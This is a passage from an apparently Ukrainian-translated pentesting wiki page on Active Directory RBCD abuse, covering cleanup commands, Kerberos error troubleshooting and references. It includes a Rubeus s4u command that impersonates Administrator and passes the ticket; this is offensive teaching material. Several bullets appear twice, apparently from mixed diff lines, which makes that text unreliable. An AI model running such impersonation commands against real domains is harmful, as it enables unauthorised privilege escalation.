Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
|
||||
# Or using the friendly property
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
|
||||
```
|
||||
- Impacket:
|
||||
```bash
|
||||
# Remove a specific principal from the SD
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
|
||||
# Or flush the whole list
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
|
||||
```
|
||||
## Kerberos Errors
|
||||
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Це означає, що kerberos налаштовано так, щоб не використовувати DES або RC4, а ви надаєте лише хеш RC4. Надайте Rubeus принаймні хеш AES256 (або просто надайте йому хеші rc4, aes128 та aes256). Приклад: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: Це означає, що час поточного комп'ютера відрізняється від часу DC, і kerberos не працює належним чином.
|
||||
- **`preauth_failed`**: Це означає, що вказане ім'я користувача + хеші не працюють для входу. Можливо, ви забули поставити "$" всередині імені користувача під час генерації хешів (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`preauth_failed`**: Це означає, що вказане ім'я користувача + хеші не працюють для входу. Можливо, ви забули вставити "$" в ім'я користувача під час генерації хешів (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`KDC_ERR_BADOPTION`**: Це може означати:
|
||||
- Користувач, якого ви намагаєтеся видати за іншого, не може отримати доступ до бажаного сервісу (тому що ви не можете видати його за іншого або тому, що у нього недостатньо привілеїв)
|
||||
- Запитуваний сервіс не існує (якщо ви запитуєте квиток для winrm, але winrm не працює)
|
||||
- Створений fakecomputer втратив свої привілеї над вразливим сервером, і вам потрібно їх повернути.
|
||||
- Користувач, якого ви намагаєтеся видати за іншого, не може отримати доступ до бажаної служби (тому що ви не можете видати його за іншого або тому, що у нього недостатньо привілеїв)
|
||||
- Запитувана служба не існує (якщо ви запитуєте квиток для winrm, але winrm не працює)
|
||||
- Створений fakecomputer втратив свої привілеї над вразливим сервером, і вам потрібно їх повернути.
|
||||
- Ви зловживаєте класичним KCD; пам'ятайте, що RBCD працює з непереносними квитками S4U2Self, тоді як KCD вимагає переносних.
|
||||
|
||||
## Посилання
|
||||
## Notes, relays and alternatives
|
||||
|
||||
- Ви також можете записати RBCD SD через AD Web Services (ADWS), якщо LDAP відфільтровано. Дивіться:
|
||||
|
||||
{{#ref}}
|
||||
adws-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
- Ланцюги релеїв Kerberos часто закінчуються RBCD, щоб досягти локального SYSTEM за один крок. Дивіться практичні приклади від початку до кінця:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||||
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
|
||||
|
||||
- Impacket rbcd.py (офіційний): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
|
||||
- Швидка шпаргалка для Linux з останнім синтаксисом: https://tldrbins.github.io/rbcd/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user